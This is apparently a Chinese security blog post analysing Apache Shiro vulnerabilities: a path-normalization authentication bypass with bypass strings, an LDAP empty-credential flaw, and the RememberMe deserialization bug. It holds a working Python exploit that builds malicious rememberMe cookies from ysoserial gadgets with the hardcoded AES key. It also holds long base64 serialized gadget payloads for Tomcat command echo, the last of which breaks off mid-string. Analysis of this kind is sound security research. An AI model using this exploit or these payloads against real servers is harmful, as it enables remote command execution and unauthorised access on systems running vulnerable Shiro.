前言 最近整理了一些权限绕过的payload,所以就过一下shiro的历史漏洞。
CVE-2010-3863 漏洞信息
漏洞复现 环境的搭建采用的这个作者的
https://blog.csdn.net/Xxy605/article/details/125404334
搭建好后,直接访问secret.html是需要权限校验的,权限不通过就会跳转到登录
在路径中添加特殊字符即可绕过权限校验
当然不止这个字符,这里直接用上我的权限绕过字典
跑出的结果整理出来大致有如下payload可以绕过(当然可能还要其他的)
1 2 3 4 5 6 7 ; . a.ico/../ %2e %3b/%2e. %3b/.. js/..;/
漏洞分析 Shiro 使用 PathMatchingFilterChainResolver#getChain
方法获取和调用要执行的过滤器
然后进入else语句通过PathMatchingFilterChainResolver#getPathWithinApplication
获取requestURI
,跟进
继续跟进,如下调用WebUtils#getRequestUri
处理request
获取requestUri
,然后使用字符串截取的方式,去掉URI中的contextPath,跟进getRequestUri
这个函数
将获取的uri传递到WebUtils#decodeAndCleanUriString
中
整个方法就是去除URI中的“;”
decodeRequestString
做了url解码操作
返回URI路径之后,然后循环配置中的AntPath,判断URI和配置路径是否匹配
然后将处理之后的URI传入AntPathMatcher#doMatch
进行匹配,在上面的处理期间未做路径标准化处理,导致URI中如果存在一些特殊字符,就有可能导致权限绕过。
漏洞修复 查看补丁链接 Commit-ab82949 ,在补丁中新增了normalize
方法来对路径进行标准化处理
normalize
方法大致如下,可以看到对URI中的 \\
、//
、/./
、/../
进行处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 private static String normalize (String path, boolean replaceBackSlash) { if (path == null ) return null ; String normalized = path; if (replaceBackSlash && normalized.indexOf('\\' ) >= 0 ) normalized = normalized.replace('\\' , '/' ); if (normalized.equals("/." )) return "/" ; if (!normalized.startsWith("/" )) normalized = "/" + normalized; while (true ) { int index = normalized.indexOf("//" ); if (index < 0 ) break ; normalized = normalized.substring(0 , index) + normalized.substring(index + 1 ); } while (true ) { int index = normalized.indexOf("/./" ); if (index < 0 ) break ; normalized = normalized.substring(0 , index) + normalized.substring(index + 2 ); } while (true ) { int index = normalized.indexOf("/../" ); if (index < 0 ) break ; if (index == 0 ) return (null ); int index2 = normalized.lastIndexOf('/' , index - 1 ); normalized = normalized.substring(0 , index2) + normalized.substring(index + 3 ); } return (normalized); }
CVE-2014-0074 漏洞信息
漏洞复现 暂无相关环境。
漏洞分析 根据官方通告是 ldap 服务器在开启了 unauthenticated bind 之后会受到影响;利用的场景有两种:
ldap unauthenticated bind enabled 的情况下,可以使用空用户名+任意密码进行认证。
ldap allow anonymous 的情况下,可以空用户名+空密码的匿名访问进行认证。
漏洞修复 查看补丁链接 f988846 ,补丁中添加了validateAuthenticationInfo
方法来针对这个漏洞进行修复
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 private void validateAuthenticationInfo (Hashtable<String, Object> environment) throws AuthenticationException { if (SIMPLE_AUTHENTICATION_MECHANISM_NAME.equals(environment.get(Context.SECURITY_AUTHENTICATION))) { if ( environment.get(Context.SECURITY_PRINCIPAL) != null && StringUtils.hasText( String.valueOf( environment.get(Context.SECURITY_PRINCIPAL) ))) { Object credentials = environment.get(Context.SECURITY_CREDENTIALS); if ( credentials == null || (credentials instanceof byte [] && ((byte [])credentials).length <= 0 ) || (credentials instanceof char [] && ((char [])credentials).length <= 0 ) || (String.class.isInstance(credentials) && !StringUtils.hasText(String.valueOf(credentials)))) { throw new javax .naming.AuthenticationException("LDAP Simple authentication requires both a " + "principal and credentials." ); } } } } }
CVE-2016-4437 漏洞信息
漏洞复现 环境是在CVE-2010-3863基础上修改的,搭建好后,访问登录页面
随便输入用户名密码抓取数据包,在响应包中看到remeberMe=deleteMe
即可判断出存在shiro框架
使用工具进行漏洞探测和漏洞利用,工具地址:https://github.com/SummerSec/ShiroAttack2
可以看到存在CB链,但其实本项目在搭建的时候并没有引入其他的依赖,这里就是shiro自带的一条CB链了,后面再分析。
漏洞分析 shiro提供了RememberMe的功能,在应用中提供了记住用户登陆状态的功能。在分析漏洞之前需要了解几个关键的类。
RememberMeManager
接口 org.apache.shiro.mgt.RememberMeManager
提供了 5 个方法:
AbstractRememberMeManager
实现了 RememberMeManager
接口的抽象类 AbstractRememberMeManager
,其中有几个重要的成员变量:
DEFAULT_CIPHER_KEY_BYTES
:一个 Base64 硬编码的 AES Key,也是本次漏洞的关键点,在进行AES加解密时都需要该key。
serializer
:Shiro 提供的序列化器,用来对PrincipalCollection 对象进行序列化和反序列化 。
cipherService
:用来对数据加解密的类,实际上是 org.apache.shiro.crypto.AesCipherService
类,加解密使用的key即为 DEFAULT_CIPHER_KEY_BYTES。
看下该类的构造方法
构造方法对serializer
采用DefaultSerializer
进行初始化,并设置DEFAULT_CIPHER_KEY_BYTES
作为 AES 加解密的 key。
CookieRememberMeManager
Shiro 还提供了一个实现了 RememberMeManager
接口的实现类 CookieRememberMeManager
,该类的位置在shiro-web-1.2.4.jar!\org\apache\shiro\web\mgt\CookieRememberMeManager.class
中,主要的作用是实现了使用cookie记录用户信息的相关功能,其中有一个方法getRememberedSerializedIdentity
主要的作用就是获取cookie值,并将其进行Base64 解码返回 byte 数组。
在该函数上打上断点,可以看到调用栈如下,在Filter处理流程中,会调用 AbstractShiroFilter#doFilterInternal
方法,然后使用SecurityManager
去创建Subject对象
1 2 3 4 5 6 7 8 9 getRememberedSerializedIdentity:187 , CookieRememberMeManager (org.apache.shiro.web.mgt) getRememberedPrincipals:393 , AbstractRememberMeManager (org.apache.shiro.mgt) getRememberedIdentity:604 , DefaultSecurityManager (org.apache.shiro.mgt) resolvePrincipals:492 , DefaultSecurityManager (org.apache.shiro.mgt) createSubject:342 , DefaultSecurityManager (org.apache.shiro.mgt) buildSubject:846 , Subject$Builder (org.apache.shiro.subject) buildWebSubject:148 , WebSubject$Builder (org.apache.shiro.web.subject) createSubject:292 , AbstractShiroFilter (org.apache.shiro.web.servlet) doFilterInternal:359 , AbstractShiroFilter (org.apache.shiro.web.servlet)
然后通过DefaultSecurityManager#resolvePrincipals
方法来将subjectContext转换为PrincipalCollection,在org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals
中可以看到这里调用了两个方法,一个getRememberedSerializedIdentity
就是之前下断点的地方,该方法的作用就是获取Cookie并base64解码,然后返回一个byte数组,并将byte数组传递到第二个方法convertBytesToPrincipals
看一下convertBytesToPrincipals
方法的具体实现,这个方法中调用了两个方法,一个decrype
,一个deserialize
在decrype
方法中可以看到将会使用decryptionCipherKey
进行解密
在构造方法中调用setCipherKey
用DEFAULT_CIPHER_KEY_BYTES
对encryptionCipherKey
和decryptionCipherKey
进行赋值
解密完之后回到第二个方法deserialize
,跟进通过getSerializer
方法获取序列化器,序列化器的默认实现是 DefaultSerializer
,也就是这里会调用DefaultSerializer#deserialize
方法去对byte数组进行处理
在DefaultSerializer#deserialize
方法中,会调用ByteArrayInputStream
将 byte 转为 ObjectInputStream
,然后通过Java原生的反序列化对其进行反序列化
反序列化结束后返回PrincipalCollection
对象,并将其 set 到 SubjectContext
中
根据上面反序列化的流程,攻击者就可以构造恶意的反序列化数据,然后使用硬编码的AES密钥进行加密,最后Base64编码放在cookie中发包即可。
编写poc测试脚本
首先是key检测的代码,这个检测的方法相较于其他方式较好,生成的rememberMe很短
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.subject.SimplePrincipalCollection;import org.apache.shiro.util.ByteSource;import org.junit.jupiter.api.Test;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.util.Base64;public class shiroKey_check { @Test public void test01 () throws IOException{ SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection (); AesCipherService aes = new AesCipherService (); byte [] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==" ); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(simplePrincipalCollection); System.out.println(new String (Base64.getEncoder().encode(barr.toByteArray()))); oos.close(); ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key); System.out.println(ciphertext.toString()); } }
检测的原理是:将SimplePrincipalCollection
对象进行序列化并AES加密+Base64编码构造cookie发包,可以在AbstractRememberMeManager#getRememberedPrincipals
中看到,这个方法有个try catch语句,try代码块就是上面说的对cookie进行解密然后反序列化,而catch则是在反序列化时如果出现异常则会执行AbstractRememberMeManager#onRememberedPrincipalFailure
方法
一直跟下来就会到SimpleCookie#removeFrom
方法,该方法就是在请求头中添加deleteMe的值
那么这里就有一个方法能够来验证密钥是否为正确,在getRememberedPrincipals
这个方法中,如果在密钥正确并且反序列化成功且返回的是PrincipalCollection对象的话,那么就不会触发异常,也就是不会带上deleteMe
的包,所以需要找一个PrincipalCollection
类来进行序列化发送
因此可以寻找一个PrincipalCollection
的实现类来进行构造,如下SimplePrincipalCollection
就很适合
在密钥不正确的情况下返回包如下
在密钥正确的情况下返回:
具体细节可以参考:
https://mp.weixin.qq.com/s?__biz=MzIzOTE1ODczMg==&mid=2247485052&idx=1&sn=b007a722e233b45982b7a57c3788d47d&scene=21#wechat_redirect
在探测出密钥之后,我们需要配合ysoserial
工具进行漏洞利用,编写exp.py如下,将ysoserial
工具放在exp.py同目录下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import sysimport uuidimport base64import subprocessfrom Crypto.Cipher import AESdef encode_rememberme (gadget, command ): popen = subprocess.Popen(['java' , '-jar' , 'ysoserial.jar' , gadget, command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len (s) % BS) * chr (BS - len (s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==" ) iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__' : payload = encode_rememberme(sys.argv[1 ], sys.argv[2 ]) print ("rememberMe={0}" .format (payload.decode()))
利用脚本生成payload
在burp中发包
当然,也可以生成tomcat回显利用链,将命令执行的结果直接返回
组合xray的6条tomcat回显链
CommonsCollectionsK1/CommonsCollectionsK2/CommonsBeanutils1/CommonsBeanutils2/Jdk7u21/Jdk8u20
下面为六条tomcat回显链的payload,需要再进行AES+Base64加密
1 2 3 4 5 6 7 tomcatEchoPayload={"CommonsCollectionsK1":"rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMACEkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFoAFV91c2VTZXJ2aWNlc01lY2hhbmlzbUwAC19hdXhDbGFzc2VzdAA7TGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0hhc2h0YWJsZTtbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAH/////AXB1cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAAPA8r+ur4AAAAyAOkBAAxGb29XRWN0SGptdmEHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEAEUZvb1dFY3RIam12YS5qYXZhAQAJd3JpdGVCb2R5AQAXKExqYXZhL2xhbmcvT2JqZWN0O1tCKVYBACRvcmcuYXBhY2hlLnRvbWNhdC51dGlsLmJ1Zi5CeXRlQ2h1bmsIAAkBAA9qYXZhL2xhbmcvQ2xhc3MHAAsBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwwADQAOCgAMAA8BAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7DAARABIKAAwAEwEACHNldEJ5dGVzCAAVAQACW0IHABcBABFqYXZhL2xhbmcvSW50ZWdlcgcAGQEABFRZUEUBABFMamF2YS9sYW5nL0NsYXNzOwwAGwAcCQAaAB0BABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsMAB8AIAoADAAhAQAGPGluaXQ+AQAEKEkpVgwAIwAkCgAaACUBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QHACcBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMACkAKgoAKAArAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7DAAtAC4KAAQALwEAB2RvV3JpdGUIADEBAAlnZXRNZXRob2QMADMAIAoADAA0AQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgcANgEAE2phdmEubmlvLkJ5dGVCdWZmZXIIADgBAAR3cmFwCAA6AQAEQ29kZQEACkV4Y2VwdGlvbnMBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwA+AQANU3RhY2tNYXBUYWJsZQEABWdldEZWAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7DABDAEQKAAwARQEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgcARwEADWdldFN1cGVyY2xhc3MMAEkALgoADABKAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAAjAEwKAEgATQEAImphdmEvbGFuZy9yZWZsZWN0L0FjY2Vzc2libGVPYmplY3QHAE8BAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgwAUQBSCgBQAFMBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAcAVQEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DABXAFgKAFYAWQEAEGphdmEvbGFuZy9TdHJpbmcHAFsBAAMoKVYMACMAXQoABABeAQAQamF2YS9sYW5nL1RocmVhZAcAYAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwwAYgBjCgBhAGQBAA5nZXRUaHJlYWRHcm91cAEAGSgpTGphdmEvbGFuZy9UaHJlYWRHcm91cDsMAGYAZwoAYQBoAQAHdGhyZWFkcwgAagwAQQBCCgACAGwBABNbTGphdmEvbGFuZy9UaHJlYWQ7BwBuAQAHZ2V0TmFtZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7DABwAHEKAGEAcgEABGV4ZWMIAHQBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgwAdgB3CgBcAHgBAARodHRwCAB6AQAGdGFyZ2V0CAB8AQASamF2YS9sYW5nL1J1bm5hYmxlBwB+AQAGdGhpcyQwCACAAQAHaGFuZGxlcggAggEABmdsb2JhbAgAhAEACnByb2Nlc3NvcnMIAIYBAA5qYXZhL3V0aWwvTGlzdAcAiAEABHNpemUBAAMoKUkMAIoAiwsAiQCMAQAVKEkpTGphdmEvbGFuZy9PYmplY3Q7DABXAI4LAIkAjwEAA3JlcQgAkQEAC2dldFJlc3BvbnNlCACTAQAJZ2V0SGVhZGVyCACVAQAIVGVzdGVjaG8IAJcBAAdpc0VtcHR5AQADKClaDACZAJoKAFwAmwEACXNldFN0YXR1cwgAnQEACWFkZEhlYWRlcggAnwEAB1Rlc3RjbWQIAKEBAAdvcy5uYW1lCACjAQAQamF2YS9sYW5nL1N5c3RlbQcApQEAC2dldFByb3BlcnR5AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsMAKcAqAoApgCpAQALdG9Mb3dlckNhc2UMAKsAcQoAXACsAQAGd2luZG93CACuAQAHY21kLmV4ZQgAsAEAAi9jCACyAQAHL2Jpbi9zaAgAtAEAAi1jCAC2AQARamF2YS91dGlsL1NjYW5uZXIHALgBABhqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXIHALoBABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWDAAjALwKALsAvQEABXN0YXJ0AQAVKClM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dGlsLkhhc2h0YWJsZRO7DyUhSuS4AwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAh3CAAAAAsAAAAAeHB3AQB4c3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWVxAH4AClsAC2lQYXJhbVR5cGVzcQB+AAl4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAB0AA5uZXdUcmFuc2Zvcm1lcnVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHNxAH4AAD9AAAAAAAAMdwgAAAAQAAAAAHh4dAABdHg=", "CommonsCollectionsK2":"rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANW9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAhJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhaABVfdXNlU2VydmljZXNNZWNoYW5pc21MAAtfYXV4Q2xhc3Nlc3QAO0xjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9IYXNodGFibGU7WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAB/////wFwdXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAADwPK/rq+AAAAMgDpAQAMRm9vZ2RMUVpRbjZlBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAClNvdXJjZUZpbGUBABFGb29nZExRWlFuNmUuamF2YQEACXdyaXRlQm9keQEAFyhMamF2YS9sYW5nL09iamVjdDtbQilWAQAkb3JnLmFwYWNoZS50b21jYXQudXRpbC5idWYuQnl0ZUNodW5rCAAJAQAPamF2YS9sYW5nL0NsYXNzBwALAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsMAA0ADgoADAAPAQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwwAEQASCgAMABMBAAhzZXRCeXRlcwgAFQEAAltCBwAXAQARamF2YS9sYW5nL0ludGVnZXIHABkBAARUWVBFAQARTGphdmEvbGFuZy9DbGFzczsMABsAHAkAGgAdAQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7DAAfACAKAAwAIQEABjxpbml0PgEABChJKVYMACMAJAoAGgAlAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kBwAnAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DAApACoKACgAKwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwwALQAuCgAEAC8BAAdkb1dyaXRlCAAxAQAJZ2V0TWV0aG9kDAAzACAKAAwANAEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24HADYBABNqYXZhLm5pby5CeXRlQnVmZmVyCAA4AQAEd3JhcAgAOgEABENvZGUBAApFeGNlcHRpb25zAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcAPgEADVN0YWNrTWFwVGFibGUBAAVnZXRGVgEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwwAQwBECgAMAEUBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24HAEcBAA1nZXRTdXBlcmNsYXNzDABJAC4KAAwASgEAFShMamF2YS9sYW5nL1N0cmluZzspVgwAIwBMCgBIAE0BACJqYXZhL2xhbmcvcmVmbGVjdC9BY2Nlc3NpYmxlT2JqZWN0BwBPAQANc2V0QWNjZXNzaWJsZQEABChaKVYMAFEAUgoAUABTAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQHAFUBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwAVwBYCgBWAFkBABBqYXZhL2xhbmcvU3RyaW5nBwBbAQADKClWDAAjAF0KAAQAXgEAEGphdmEvbGFuZy9UaHJlYWQHAGABAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsMAGIAYwoAYQBkAQAOZ2V0VGhyZWFkR3JvdXABABkoKUxqYXZhL2xhbmcvVGhyZWFkR3JvdXA7DABmAGcKAGEAaAEAB3RocmVhZHMIAGoMAEEAQgoAAgBsAQATW0xqYXZhL2xhbmcvVGhyZWFkOwcAbgEAB2dldE5hbWUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwwAcABxCgBhAHIBAARleGVjCAB0AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAHYAdwoAXAB4AQAEaHR0cAgAegEABnRhcmdldAgAfAEAEmphdmEvbGFuZy9SdW5uYWJsZQcAfgEABnRoaXMkMAgAgAEAB2hhbmRsZXIIAIIBAAZnbG9iYWwIAIQBAApwcm9jZXNzb3JzCACGAQAOamF2YS91dGlsL0xpc3QHAIgBAARzaXplAQADKClJDACKAIsLAIkAjAEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwwAVwCOCwCJAI8BAANyZXEIAJEBAAtnZXRSZXNwb25zZQgAkwEACWdldEhlYWRlcggAlQEACFRlc3RlY2hvCACXAQAHaXNFbXB0eQEAAygpWgwAmQCaCgBcAJsBAAlzZXRTdGF0dXMIAJ0BAAlhZGRIZWFkZXIIAJ8BAAdUZXN0Y21kCAChAQAHb3MubmFtZQgAowEAEGphdmEvbGFuZy9TeXN0ZW0HAKUBAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7DACnAKgKAKYAqQEAC3RvTG93ZXJDYXNlDACrAHEKAFwArAEABndpbmRvdwgArgEAB2NtZC5leGUIALABAAIvYwgAsgEABy9iaW4vc2gIALQBAAItYwgAtgEAEWphdmEvdXRpbC9TY2FubmVyBwC4AQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyBwC6AQAWKFtMamF